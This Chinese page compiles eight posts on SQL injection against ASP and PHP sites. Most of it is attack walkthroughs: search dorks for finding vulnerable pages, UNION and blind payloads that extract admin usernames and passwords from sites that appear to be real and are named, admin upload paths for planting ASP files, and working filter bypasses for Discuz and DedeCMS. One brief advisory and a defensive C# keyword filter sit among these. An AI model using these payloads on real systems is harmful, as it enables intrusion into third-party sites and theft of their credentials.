一次枫叶防注入程序漏洞手工入侵脚本安全

“小小菜狗”通过精心收集，向本站投稿了8篇一次枫叶防注入程序漏洞手工入侵脚本安全，这里小编给大家分享一些一次枫叶防注入程序漏洞手工入侵脚本安全，方便大家学习。

篇1：一次枫叶防注入程序漏洞手工入侵脚本安全

该程序采用枫叶通用防注入1.0asp版，此程序pro_show.asp处存在cookies注入或者变型注入漏洞，到目前为止还是有很多网站任然没有修复这个漏洞，也有些网站简单采取了防注入（据说可以绕过哦），

百度关键字：inurl:pro_show.asp?showid=

注入前可以先判断一下字段数：www.xxx.com/pro_show.asp?showid=17 order by 28

注入语句：www.xxx.com/pro_show.asp?showid=17 and 1=1 union select 1,username,3,4,5,6,7,8,9,10,password,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from lei_admin

字段数自己判断，我试了2个网站都是28，至于密码有明文也有md5加密的，后台自找，

后台上传地址：admin/inc/upfile.htm 可直接上传asp文件

​

篇2：枫叶防注入程序漏洞

该程序采用枫叶通用防注入1.0asp版，此防注入完全鸡肋，该类型网站程序pro_show.asp

有cookies注入或者变型注入，注入前可以先判断一下字段数：ORdeR By xx

注入语句：ANd 1=1 UNiOn SElEcT 1,username,3,4,5,6,7,8,9,10,password,12,13,14,15,16,17,18,19,20,21,22,23,24,25，26，27，28 FrOm lei_admin

字段数看个人判断的为准

密码为明文和明文都有，默认后台地址：admin/index/login.asp（也有修改的）

后台上传地址：admin/inc/upfile.htm 可直接上传asp文件

上传路径admin/upimg/

有些后台有双文件上传漏洞：admin/inc/upfiletwo.asp

篇3：手工注入脚本安全

现在注入工具横行,自动化的程度已经...不能再自动了.

很多人会熟练的使用啊D,明小子之类的自动注入工具.以为自己就会了...

注入的原理呢.什么是注入.为什么会造成注入.过程...等.

你知道吗?你有没有试过真正的手工注入?没吧.

现在就利用我写的手工注入工具来讲解一下总体手工注入过程.

先找个有注入漏洞的站.很简单满大街都是.

www.jinhu168.com/A3/NewsInfo.asp?id=75

manage_User

username  admin

password  bfpms

id  35

已经找好了.这是一个标准欠黑型网站.安全度就不用说了.

www.jinhu168.com/A3/NewsInfo.asp?id=75

有注入漏洞的地址.检查一下.

基本确定可能有漏洞.继续.

www.jinhu168.com/A3/NewsInfo.asp?id=75 and exists (select * from manage_User)

查询manage_User这个表名是否存在.

不好意思.这工具老出错...录制这个工具不怎么好用.有好用的有空介绍个啊....

好了继续.

manage_User 存在...页面返回正常...

名字改了下`不存在就返回错误的页面`

这里是给你填写提示语句用的`不用的话清空就行了.

继续.

返回正常.说明存在.继续.等等`听电话`

不好意思.

不是1位哦`回显错误.呵呵`5位的`回显正常`

这样我们就知道 他很多东西了`表..项..还有内容长度.

帐号的第一位的第一个字母不是1所以出错.

呵呵`帐号的第一位的第一个字母是a 正确...所以回显正常.

帐号是什么我想都不用怎么想了吧`5位数的admin

确实是的哦....哈哈.

www.jinhu168.com/A3/NewsInfo.asp?id=75 and 1=(select count(*) from [manage_User] where left(username,5)='admin')

为了给大家学习.我把例句都提取出来了.和程序过程是一样的,大家可以研究下.

其他的密码等也是这种过程. 大家明白了吗?要难不是很难`只是要有耐心.如果简单的话就不会出现

全自动的注入工具了.

希望大家在使用我的工具的同时也能学到点东西.

篇4：注入笔记手工注入字符型注入漏洞脚本安全

今天给大家讲解一下字符型注入点注入，也许很多朋友看到字符型的注入大部分都是放弃此注入去寻找其他数字型注入，因为字符型注入应用的不是很广泛，好了，这里我就来交大家字符型注入，

首先打开localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包  /很明显，字符型注入，

前几张我们说到了判断字符型注入的语句是' and '1'='1 和' and '1'=2  我们来看看。

localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+'1'='1 返回正常。

localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+'1'='2 返回错误。

我们确定了注入点那么我们先看看数字型注入能否在这里使用

先用联合查询 order by

localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包+order+by+1   很明显，出错啦，不可使用。

那么再用半猜解查询试试

同样出错。

看来字数字型注入在字符型注入中失效啦，那么我们来试试

localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+(select+count(*)+from+Manage_User)>0+and+''=' 返回了正常，说明存在manage_user表。

在sql语句中字符型参数必须用单引号闭合(')否则会出错。所以我们在注入中也先要用单引号来闭合语句。

下面我们来猜字段名。

localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+(select+top+1+len(username)+from+Manage_User)>0+and+''='  返回正常，存在，

localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+(select+top+1+len(password)+from+Manage_User)>0+and+''='  返回正常，存在。

这里我只截一张图。

下面判断一下username中字段长度

localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+(select+top+1+len(password)+from+Manage_User)>4+and+''='  返回正常

localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+(select+top+1+len(password)+from+Manage_User)=5+and+''='  返回正常

密码字段省略。下面进行猜解用户名。

localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+(select+count(*)+from+manage_user+where+asc(mid(username,1))=97)+and+''='  返回正常，username表中第一位是ascll码97，明文为：a

接着猜解第二位:localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+(select+count(*)+from+manage_user+where+asc(mid(username,2))=100)+and+''='

返回正常，username字段中第二位ASCLL码为100，名为为d

这里之后依次往下猜，最后得到username表中数据为：admin，打开数据库看一下是否一样。

这里说明我们猜解正确。

篇5：几种通用防注入程序绕过方法脚本安全

0x00 前言

---

目前主流的CMS系统当中都会内置一些防注入的程序，例如Discuz、dedeCMS等，本篇主要介绍绕过方法，

0x01 Discuz x2.0防注入

---

防注入原理

这里以Discuz最近爆出的一个插件的注入漏洞为例，来详细说明绕过方法。

漏洞本身很简单，存在于/source/plugin/v63shop/config.inc.php中的第29行getGoods函数中，代码如下所示

function getGoods($id){      $query = DB::query('select * from '.DB::table('v63_goods').' where `id` ='.$id);        $goods = DB::fetch($query);        $goods['endtime2'] = date('Y-m-d',$goods['endtime']);        $goods['price2'] = $goods['price'];        if($goods['sort'] ==2){            $goods['endtime2']= date('Y-m-d H:i:s',$goods['endtime']);            $query = DB::query(“select * from ”.DB::table('v63_pm').“ where gid='$goods[id]' order by id desc ”);            $last = DB::fetch($query);            if(is_array($last)){                $goods['price'] = $last['chujia'];                $goods['uid']  = $last['uid'];                $goods['username']  = $last['username'];                $goods['pm'] = $last;                if(time+600>$goods['endtime']){                    $goods['endtime'] = $last[time]+600;                    $goods['endtime2']= date('Y-m-d H:i:s',$last[time]+600);                }            }        }        return $goods;}

触发漏洞的入口点在/source/plugin/v63shop/goods.inc.php中的第6行和第8行，如图所示： 

下面可以构造如下请求触发漏洞了，如图所示： 

不过程序内置了一个_do_query_safe函数用来防注入，如图所示 

这里跟踪一下_do_query_safe()函数的执行，它会对以下关键字做过滤，如图所示：



因为我们的url中出现了union select，所以会被过滤掉。

绕过方法

这里利用Mysql的一个特性绕过_do_query_safe函数过滤，提交如下url：

localhost/discuzx2/plugin.php?id=v63shop:goods&pac=info&gid=1 and 1=2 union /*!50000select*/ 1,2,3,4,5,6,concat(user,0x23,password),8,9,10,11,12,13 from mysql.user

这里我们跟踪一下，绕过的具体过程。它会将/**/中间的内容去掉，然后保存在$clean变量中，其值为

select * from pre_v63_goods where `id` =1 and 1=2 union /**/ 1,2,3,4,5,6,concat(user,0x23,password),8,9,10,11,12,13 from mysql.user

再进一步跟踪，它会将/**/也去掉，然对$clean变量做过滤，如图所示

 此时$clean值，如图所示 

此时$clean变量中不在含有危险字符串，绕过_do_query_safe函数过滤，成功注入，截图如下： 

0x02 Discuz X2.5防注入

---

防注入原理

Discuz X2.5版修改了防注入函数的代码，在/config/config_global.php中有如下代码，如图所示 

这里$_config['security']['querysafe']['afullnote'] 默认被设置为0，重点关注这一点。

这里跟踪一下失败的原因，如图所示： 

此时观察一下变量，_do_query_safe($sql)函数会将/**/中的内容去掉，然后存到$clean中，如图所示： 

其实，程序执行到这里跟Discuz X2.0没有区别，$clean的值都一样。但是关键在下面，如图所示：

 因为前面提到$_config['security']['querysafe']['afullnote']=’0’，所以这里不会替换/**/为空，并且它在后面会判断$clean中是否会出现“/*”，如图所示：  

所以注入失败。

绕过方法

在Mysql当中，定义变量用@字符，可以用set @a=’abc’，来为变量赋值。这里为了合法的构造出一个单引号，目的是为了让sql正确，我们可以用@'放入sql语句当中，帮助我们绕过防注入程序检查。

这里利用如下方式绕过_do_query_safe函数过滤，如下所示：

localhost/discuz/plugin.php?id=v63shop:goods&pac=info&gid=@`'` union select @`'`,2,3,4,5,6,7,concat(user,0x3a,password),9,10,11,12,13,14 from mysql.user

这里跟踪一下执行的过程，如图所示：

 这里有一个if判断，重点看这句

$clean = preg_replace(“/'(.+?)'/s”, '', $sql);

它会将$sql中单引号引起来的字符串省略掉，所以我们可以用绕过dede防住ids的思路，利用

@`'` union select @`'`

这样的方法，在下面的过滤中省掉union select，这里跟踪一下，如图所示： 

这样便绕过了_do_query_safe函数检测，成功绕过防注入，如图所示： 

不过后来Discuz官方发布了一个修复补丁，但并没用从根本上解决问题。官方的修复代码如下： 

加了一个判断，过滤字符串中的@，但是始终没有修复根本问题，关键是上边的那个if判断会将单引号之间的内容（包括单引号）替换为空，代码如下：

if (strpos($sql, '/') === false && strpos($sql, '#') === false && strpos($sql, '-- ') === false) {    $clean = preg_replace(“/'(.+?)'/s”, '', $sql);}

这里我只要稍做一下变换就可以让@字符消失，从而绕过它的过滤，利用如下所示：

localhost/discuz/plugin.php?id=v63shop:goods&pac=info&gid=`'` or @`''` union select 1 from (select count(*),concat((select database()),floor(rand(0)*2))a from information_schema.tables group by a)b where @`'`

这里我引入了`'`用来隐藏第一个@字符，并将第一个@`'`替换为@`''`，这样便可以替换掉第二个@，这里我们跟踪一下代码，如图所示： 

可以看到$clean变为

select * from pre_v63_goods where `id` =``

成功绕过补丁，如图所示：

 不过这样做的代价是不能再使用union select了，只能通过报错获取数据。

0x03 DedeCMS防注入

---

防注入原理

这里我也以最近热点分析的dedeCMS feedback.php注入漏洞为例，分析如何绕过其防注入系统。不过在这之前，还得先提一下这个漏洞。

漏洞存在于/plus/feedback.php中的第244行，代码如下所示

if($comtype == 'comments')    {        $arctitle = addslashes($title);        0id = intval(0id);        $ischeck = intval($ischeck);        $feedbacktype = preg_replace(“#[^0-9a-z]#i”, “”, $feedbacktype);        if($msg!='')        {            $inquery = “INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`)                  VALUES ('$aid','0id','$username','$arctitle','$ip','$ischeck','$dtime', '{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg'); ”;            $rs = $dsql->ExecuteNoneQuery($inquery);            if(!$rs)            {                ShowMsg(' 发表评论错误! ', '-1');                //echo $dsql->GetError();                exit();            }        }    }    //引用回复    elseif ($comtype == 'reply')    {        $row = $dsql->GetOne(“SELECT * FROM `#@__feedback` WHERE id ='$fid'”);        $arctitle = $row['arctitle'];        $aid =$row['aid'];        $msg = $quotemsg.$msg;        $msg = HtmlReplace($msg, 2);        $inquery = “INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)                VALUES ('$aid','0id','$username','$arctitle','$ip','$ischeck','$dtime','{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg')”;        $dsql->ExecuteNoneQuery($inquery);    }

这里$title变量未初始化，所以$title可以作为可控变量，所以我们可以进一步控制$arctitle。跟踪发现$arctitle被直接带入SQL语句当中，但是这里执行的INSERT语句入库之后会将前面addslashes转义的单引号在会员还原回去。进一步跟踪下面的代码，在第268行，如下所示

$row = $dsql->GetOne(“SELECT * FROM `#@__feedback` WHERE id ='$fid'”);$arctitle = $row['arctitle'];

这里的查询#@__feedback表正式上面INSERT的那个表，arctitle字段取出来放到$arctitle变量当中，继续跟踪到第273行，这下豁然开朗了，

$inquery = “INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)                VALUES ('$aid','0id','$username','$arctitle','$ip','$ischeck','$dtime','{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg')”;

这里$arctitle变量未作任何处理，就丢进了SQL语句当中，由于我们可以控制$title，虽然$arctitle是被addslashes函数处理过的数据，但是被INSERT到数据库中又被还原了，所以综合起来这就造成了二次注入漏洞。

但是这里如何利用呢，通过跟踪代码发现，整个dede在整个过程中始终没有输出信息，所以我们无法通过构造公式报错来获取数据，但是进一步分析代码发现#@__feedback表当中的msg字段会被输出。由于$arctitle变量是可控的，所以我们可以通过构造SQL语句，将我们要执行的代码插入到msg字段当中，这样便可以输出执行的内容了。

绕过方法

众所周知，dedeCMS内置了一个CheckSql()函数用来防注入，它是80sec开发的通用防注入ids程序，每当执行sql之前都要用它来检查一遍。其代码如下所示：

function CheckSql($db_string,$querytype='select')    {        global $cfg_cookie_encode;        $clean = '';        $error='';        $old_pos = 0;        $pos = -1;        $log_file = DEDEINC.'/../data/'.md5($cfg_cookie_encode).'_safe.txt';        $userIP = GetIP();        $getUrl = GetCurUrl();        //如果是普通查询语句，直接过滤一些特殊语法        if($querytype=='select')        {            $notallow1 = “[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}”;            //$notallow2 = “--|/\*”;            if(preg_match(“/”.$notallow1.“/i”, $db_string))            {                fputs(fopen($log_file,'a+'),“$userIP||$getUrl||$db_string||SelectBreak\r\n”);                exit(“Safe Alert: Request Error step 1 !”);            }        }        //完整的SQL检查        while (TRUE)        {            $pos = strpos($db_string, '\'', $pos + 1);            if ($pos === FALSE)            {                break;            }            $clean .= substr($db_string, $old_pos, $pos - $old_pos);            while (TRUE)            {                $pos1 = strpos($db_string, '\'', $pos + 1);                $pos2 = strpos($db_string, '\\', $pos + 1);                if ($pos1 === FALSE)                {                    break;                }                elseif ($pos2 == FALSE || $pos2 >$pos1)                {                    $pos = $pos1;                    break;                }                $pos = $pos2 + 1;            }            $clean .= '$s$';            $old_pos = $pos + 1;        }        $clean .= substr($db_string, $old_pos);        $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));        //老版本的Mysql并不支持union，常用的程序里也不使用union，但是一些 使用它，所以检查它        if (strpos($clean, 'union') !== FALSE && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)        {            $fail = TRUE;            $error=“union detect”;        }        //发布版本的程序可能比较少包括--,#这样的注释，但是 经常使用它们        elseif (strpos($clean, '/*') >2 || strpos($clean, '--') !== FALSE || strpos($clean, '#') !== FALSE)        {            $fail = TRUE;            $error=“comment detect”;        }        //这些函数不会被使用，但是 会用它来操作文件，down掉数据库        elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)        {            $fail = TRUE;            $error=“slown down detect”;        }        elseif (strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0)        {            $fail = TRUE;            $error=“slown down detect”;        }        elseif (strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0)        {            $fail = TRUE;            $error=“file fun detect”;        }        elseif (strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0)        {            $fail = TRUE;            $error=“file fun detect”;        }        //老版本的MYSQL不支持子查询，我们的程序里可能也用得少，但是 可以使用它来查询数据库敏感信息        elseif (preg_match('~\([^)]*?select~s', $clean) != 0)        {            $fail = TRUE;            $error=“sub select detect”;        }        if (!empty($fail))        {            fputs(fopen($log_file,'a+'),“$userIP||$getUrl||$db_string||$error\r\n”);            exit(“Safe Alert: Request Error step 2!”);        }        else        {            return $db_string;        }    }

但通过跟踪这段代码发现，它有个特征就是会将两个单引号之间的内容用$s$替换，例如’select’会被替换为$s$，这里用两个@`'`包含敏感字，这样$clean变量中就不会出现敏感字，从而绕过CheckSql()函数检测，

这里可以设置title为如下代码，一方面绕过ids防注入代码检测，另一方面加一个#注释掉后面的代码，但是还要做一下变形，就是这个char(@`'`)了。因为#@__feedback的所有字段都被设置为NOT NULL，而@`'`是一个变量，默认为NULL，直接插入@`'`的话会报错，所以需要以char(@`'`)的方法转换一下。

',char(@`'`),1,1,1,1,1,1,1,(SELECT user()))#,(1,

跟踪代码，如图所示 

如下SQL语句

INSERT INTO `dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`) VALUES ('1','1','游客','\',char(@`\'`),1,1,1,1,1,1,1,(SELECT user()))#,(1,','127.0.0.1','1','1364401789', '0','0','0','feedback','1','genxor');

被替换为了

insert into `dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`) values ($s$,$s$,$s$,$s$,$s$,$s$,$s$, $s$,$s$,$s$,$s$,$s$,$s$);

字符串中没有任何敏感字，成功绕过CheckSql()函数检测。

POST如下请求给feedback.php，如下所示：

action=send&comtype=comments&aid=1&isconfirm=yes&feedbacktype=feedback&face=1&msg=genxor¬user=1&typeid=1&title=',char(@`'`),1,1,1,1,1,1,1,(SELECT user()))#,(1,

跟踪代码，实际执行的SQL语句跟踪变量如下所示： 

入数据库中的内容，如图所示： 

下面再POST如下内容给feedback.php，

action=send&comtype=reply&aid=1&isconfirm=yes&feedbacktype=feedback&fid=50

跟踪一下这里执行的SQL语句，如图所示 

所以select user()执行了，并且可以作为msg字段输出。

0x04 总结

---

在写这篇文章之前，我分析了很多常用的cms系统的源码，包括discuz、dedecms、phpwind、phpcms等，只有在discuz、dedecms这两个系统中用到通用防注入，但是它们所覆盖的用户群已将相当庞大了。如果能在发现程序注入漏洞的情况下，这些绕过方法还是很有价值的。

​

篇6：动感商城注入漏洞脚本安全

发现者：Neeao [Bug.Center.Team]

程序名称：动感购物 网上商城系统

影响版本：所有版本(包括官方使用的2005V－B SQL版)

系统开发：动感科技

官方地址：www.9911.com.cn

漏洞等级：危险

详细说明：注入漏洞

存在漏洞文件：

textbox.asp

textbox2.asp

textbox2_1.asp

textbox22.asp

本来这个是后台修改新闻时候显示内容的东西，本页一个代码就可以了，不知道作者为什么非要用一个文件来显示出来，

而且还放在程序跟目录下！没有做任何限制就放在了哪里，调用，可见作者是多么的粗心！

测试方法：上面所说的四个文件任意一个文件：textbox*.asp?action=modify&newsid=任意一个存在的id！

就可以注入了！如果用sql版的话数据库权限设置不当的话，很容易获得系统权限！^_^！

漏洞补丁：已经通知了官方了！

临时解决方法；过滤变量啊！

篇7：和我一起学PHP手工注入脚本安全

作者:冰的原点[L.S.T]

看了这么多的ASP注入的，各位是不是已经厌倦了ASP方面的注入呢？呵呵，千万不能厌倦呀，只有不断的学习，才不会被别人甩很远的！那么今天就跟着我一起学习下PHP环境下的手工注入吧.

今天的网站是一韩国的站点，注入点我已经找到了，大家如果怕麻烦的话，可以用啊D找下注入点，其实啊D不仅能找出ASP环境下的注入点，而且PHP，ASPX以及JSP的都可以找出来的哦，截张图大家看下，如图1.

其实找注入点这种事对啊D来说还是很容易的，不过接下来的事就得靠我们自己的双手来进行了.回到正文上，我们首先要判断下数据库是不是使用的mysql，在注入点处输入/*,如果正常返回的话就说明是mysql的了，因为mysql数据是支持/*的注释的，如图2,返回正确页面，然后我们得判断下mysql的版本，如果支持union查询就好办多了，我们在注入点处输入如下语句：and ord(mid(version,1,1))>51/*,返回正常，如图3..说明数据库版本是大于4.0的，也就是说支持union查询的.到这里我们最好先判断下权限，如果是root的话后面的提权就好办多了，我们提交：ord(mid(user(),1,1))=114/*，返回错误，说明不是root的权限，只能老老实实的猜表啦.好，接下来猜它的字段数，利用order by 后面加数字的方法能够很快猜出字段数,例如我提交：www.xx.co.kr/notice/read.php?Code=notice&Page=1&Field=&Key=&Uid=5 order by 10，返回正常，说明字段数大于10的，如图4,继续猜，然后提交www.xx.co.kr/notice/read.php?Code=notice&Page=1&Field=&Key=&Uid=5 order by 20,返回错误，如图5,说明字段数小于20,接下来就是苦力活了，当我们提交www.xx.co.kr/notice/read.php?Code=notice&Page=1&Field=&Key=&Uid=5 order by 17正常，而www.xx.co.kr/notice/read.php?Code=notice&Page=1&Field=&Key=&Uid=5 order by 18时错误，说明字段数就是17了，接下来就得猜列名了咯,我们提交：www.lifeloan.co.kr/notice/read.php?Code=notice&Page=1&Field=&Key=&Uid=5%20%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/*如图6.在网页中显示出的数字中替换成我们的语句,我们继续提交,www.lifeloan.co.kr/notice/read.php?Code=notice&Page=1&Field=&Key=&Uid=5%20%20and%201=2%20union%20select%201,2,3,4,version(),user(),7,8,9,10,11,12,13,14,15,16,17/*，如图7，出现了版本号和当然数据库用户名了,接下来当然是猜表啦，首先我们想到的当然是admin这个表啦，继续提交:www.lifeloan.co.kr/notice/read.php?Code=notice&Page=1&Field=&Key=&Uid=5%20%20and%201=2%20union%20select%201,2,3,4,version(),user(),7,8,9,10,11,12,13,14,15,16,17%20from%20admin/*返回正常，说明存在admin这个表的,接下来就是最关键的地方了，我们得猜下用户名和密码的，提交:www.lifeloan.co.kr/notice/read.php?Code=notice&Page=1&Field=&Key=&Uid=5%20%20and%201=2%20union%20select%201,2,3,4,version(),user(),username,8,9,10,11,12,13,14,15,16,17%20from%20admin/*返回错误，看来不存在username这个列名，接下来就是漫长的猜解过程啦，可是始终没有猜到用户名，不过倒是把ID和密码猜出来的，我提交的语句是这样的：www.lifeloan.co.kr/notice/read.php?Code=notice&Page=1&Field=&Key=&Uid=5%20%20and%201=2%20union%20select%201,2,3,4,version(),user(),id,passwd,9,10,11,12,13,14,15,16,17%20from%20admin/*，呵呵，暴出来了，如图8

文章到这里就要结束了，其实在乎只是这个过程而已，没有暴出用户名，而且后面的后台也没有找到，所以就只能放一放啦！不过，希望各位叉子能从本文学点东西的话，本文就会有它的价值了！

篇8：数据库防脚本注入WEB安全

网站安全非常重要，所以一个网站必须要有对攻击的基础防范措施，比如脚本攻击，跨域攻击，数据库注入攻击等，下面分享一个使用的防止数据库Sql脚本注入的使用类

using System;

using System.Collections.Generic;

using System.Text;

namespace NZS.Common

{

public class Filter

{

///

/// 检测是否含有危险字符（防止Sql注入）

///

///

/// 返回True或false

public static bool HasSqlKeywords(string contents)

{

bool ReturnValue = false;

if (contents.Length >0)

{

string LowerStr = contents.ToLower();

string RxStr = @”(/sand/s)|(/sand/s)|(/slike/s)|(select/s)|(insert/s)|(delete/s)|(update/s[/s/S].*/sset)|(create/s)|(/stable)|(<[iframe.|/iframe.|script.|/script])|(‘)|(/sexec)|(declare)|(/struncate)|(/smaster)|(/sbackup)|(/smid)|(/scount)|(cast)|(%)|(/sadd/s)|(/salter/s)|(/sdrop/s)|(/sfrom/s)|(/struncate/s)|(/sxp_cmdshell/s)”; //Match 检查数据库里面关键字和一些特殊字符，如单引号

System.Text.RegularExpressions.Regex Rx = new System.Text.RegularExpressions.Regex(RxStr);

ReturnValue = Rx.IsMatch(LowerStr, 0);

}

return ReturnValue;

}

///

/// 过滤 Sql 语句字符串中的注入脚本

///

///

/// 过滤后的字符串

public static string SqlFilter(string str)

{

str = str.Replace(“””, “‘’”);

//单引号替换成两个单引号

str = str.Replace(“‘”, “‘”);

//半角封号替换为全角封号，防止多语句执行

str = str.Replace(“;”, “；”);

//半角括号替换为全角括号

str = str.Replace(“(“, “（”);

str = str.Replace(“)”, “）”);

///////////////要用正则表达式替换，防止字母大小写得情况////////////////////

//去除执行存储过程的命令关键字

str = str.Replace(“Exec”, “”);

str = str.Replace(“Execute”, “”);

//去除系统存储过程或扩展存储过程关键字

str = str.Replace(“xp_”, “x p_”);

str = str.Replace(“sp_”, “s p_”);

//防止16进制注入

str = str.Replace(“0x”, “0 x”);

return str;

}

}

}

​

★ 手工注入脚本安全

★ mysql5.0注入原理脚本安全

★ 魔方网络摄影系统注入漏洞及利用和修复

★ Shopv8 商城系统 v12.07 Cookies 注入漏洞漏洞预警

★ Andys PHP Knowledgebase 0.95.4 SQL注入漏洞及修复

★ 利用双字节编码突破PHP单引号转义限制进行SQL注入脚本安全

★ Windows系统如何使用sqlmap脚本安全

★ 利用GBK双字节编码突破PHP单引号转义限制进行SQL注入脚本安全

★ 外来物种葛藤的入侵与防控

★ Linux服务器安全初始化Shell脚本linux服务器应用